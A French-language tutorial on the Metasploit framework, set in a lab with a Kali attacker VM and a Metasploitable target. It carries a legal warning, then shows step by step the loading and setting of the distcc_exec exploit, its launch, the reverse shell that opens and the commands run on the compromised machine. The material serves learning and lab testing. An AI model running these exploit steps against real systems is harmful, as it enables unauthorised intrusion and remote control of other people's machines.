Rappel :

Attention dans cet article l’outils est utilisé pour la recherche et l’apprentissage. Ce type d’outils ne doit pas être utilisé vers un serveur qui ne vous appartient pas, ceci peut être puni par la loi (voir les articles 323-XX).

Présentation du framework :

Nous allons utilisé le framework Metasploit, qui un logiciel de pentesting open-source.

Environnement de test :

Pour cela nous allons utiliser une VM tournant sur la distribution Kali (attaquant) et une VM Metasploitable Server (cible) qui est un serveur ayant des vulnérabilités pour faire des démos.

Voici un schéma :
schema

Utilisation de Metasploit :

Par défaut Kali ne démarre aucun service, pour utiliser Metasploit il faut démarrer PostgreSQL et Metasploit

service postgresql start
service metasploit start

Note : Il est possible de les lancer en automatique au démarrage de l’OS, sous Debian-like :

update-rc.d postgresql enable
update-rc.d metasploit enable

Lancer la console metasploit en CLI :

msfconsole

Vérifier la connection à la DB :

msf > db_status
[*] postgresql connected to msf3
msf > 

Nous allons partir du constat que nous connaissons la vulnérabilité du serveur à exploiter, un autre billet sera fait sur sur détection de vulnérabilités.

msf > search -h
Usage: search [keywords]

Keywords:
  app       :  Modules that are client or server attacks
  author    :  Modules written by this author
  bid       :  Modules with a matching Bugtraq ID
  cve       :  Modules with a matching CVE ID
  edb       :  Modules with a matching Exploit-DB ID
  name      :  Modules with a matching descriptive name
  osvdb     :  Modules with a matching OSVDB ID
  platform  :  Modules affecting this platform
  ref       :  Modules with a matching ref
  type      :  Modules of a specific type (exploit, auxiliary, or post)

Examples:
  search cve:2009 type:exploit app:client

msf > 
msf > search type:exploit distcc

Matching Modules
================

   Name                                                                   Disclosure Date  Rank       Description
   ----                                                                   ---------------  ----       -----------
   exploit/aix/local/ibstat_path                                          2013-09-24       excellent  ibstat $PATH Privilege Escalation
   exploit/aix/rpc_cmsd_opcode21                                          2009-10-07       great      AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow
   exploit/aix/rpc_ttdbserverd_realpath                                   2009-06-17       great      ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)
   exploit/android/browser/webview_addjavascriptinterface                 2012-12-21       normal     Android Browser and WebView addJavascriptInterface Code Execution
   exploit/android/fileformat/adobe_reader_pdf_js_interface               2014-04-13       good       Adobe Reader for Android addJavascriptInterface Exploit
   exploit/apple_ios/browser/safari_libtiff                               2006-08-01       good       Apple iOS MobileSafari LibTIFF Buffer Overflow
   exploit/apple_ios/email/mobilemail_libtiff                             2006-08-01       good       Apple iOS MobileMail LibTIFF Buffer Overflow
   ..SNiP..
	 exploit/unix/misc/distcc_exec                                          2002-02-01       excellent  DistCC Daemon Command Execution
	 ..SNiP..

# Charger un exploit
msf > use exploit/unix/misc/distcc_exec

# Information de l'exploit
msf exploit(distcc_exec) > info

       Name: DistCC Daemon Command Execution
     Module: exploit/unix/misc/distcc_exec
   Platform: Unix
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent

Provided by:
  hdm <hdm@metasploit.com>

Available targets:
  Id  Name
  --  ----
  0   Automatic Target

Basic options:
  Name   Current Setting  Required  Description
  ----   ---------------  --------  -----------
  RHOST                   yes       The target address
  RPORT  3632             yes       The target port

Payload information:
  Space: 1024

Description:
  This module uses a documented security weakness to execute arbitrary 
  commands on any system running distccd.

References:
  http://cvedetails.com/cve/2004-2687/
  http://www.osvdb.org/13378
  http://distcc.samba.org/security.html

# OU
msf > info exploit/unix/misc/distcc_exec
....

# Voir les options (champs à complter "Current Setting")
msf exploit(distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  3632             yes       The target port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

# Set du champs RHOST
msf exploit(distcc_exec) > set RHOST 192.168.5.11
RHOST => 192.168.5.11

# Vérification de la prise en compte
msf exploit(distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.5.11     yes       The target address
   RPORT  3632             yes       The target port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

# Lancer l'exploit et on voit bien qu'on a compromis le distant :
msf exploit(distcc_exec) > exploit

[*] Started reverse double handler
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo VnzwKKezdFZ4K6E2;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "VnzwKKezdFZ4K6E2\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.5.15:4444 -> 192.168.5.11:58362) at 2016-03-20 16:02:34 +0100

pwd
/tmp
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:97:1b:cf  
          inet addr:192.168.5.11  Bcast:192.168.5.255  Mask:255.255.255.0
          inet6 addr: 2a01:e35:8be7:d740:a00:27ff:fe97:1bcf/64 Scope:Global
          inet6 addr: fe80::a00:27ff:fe97:1bcf/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1904 errors:0 dropped:0 overruns:0 frame:0
          TX packets:306 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:200005 (195.3 KB)  TX bytes:41347 (40.3 KB)
          Base address:0xd010 Memory:f0000000-f0020000 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:330 errors:0 dropped:0 overruns:0 frame:0
          TX packets:330 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:135145 (131.9 KB)  TX bytes:135145 (131.9 KB)

hostname
metasploitable
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)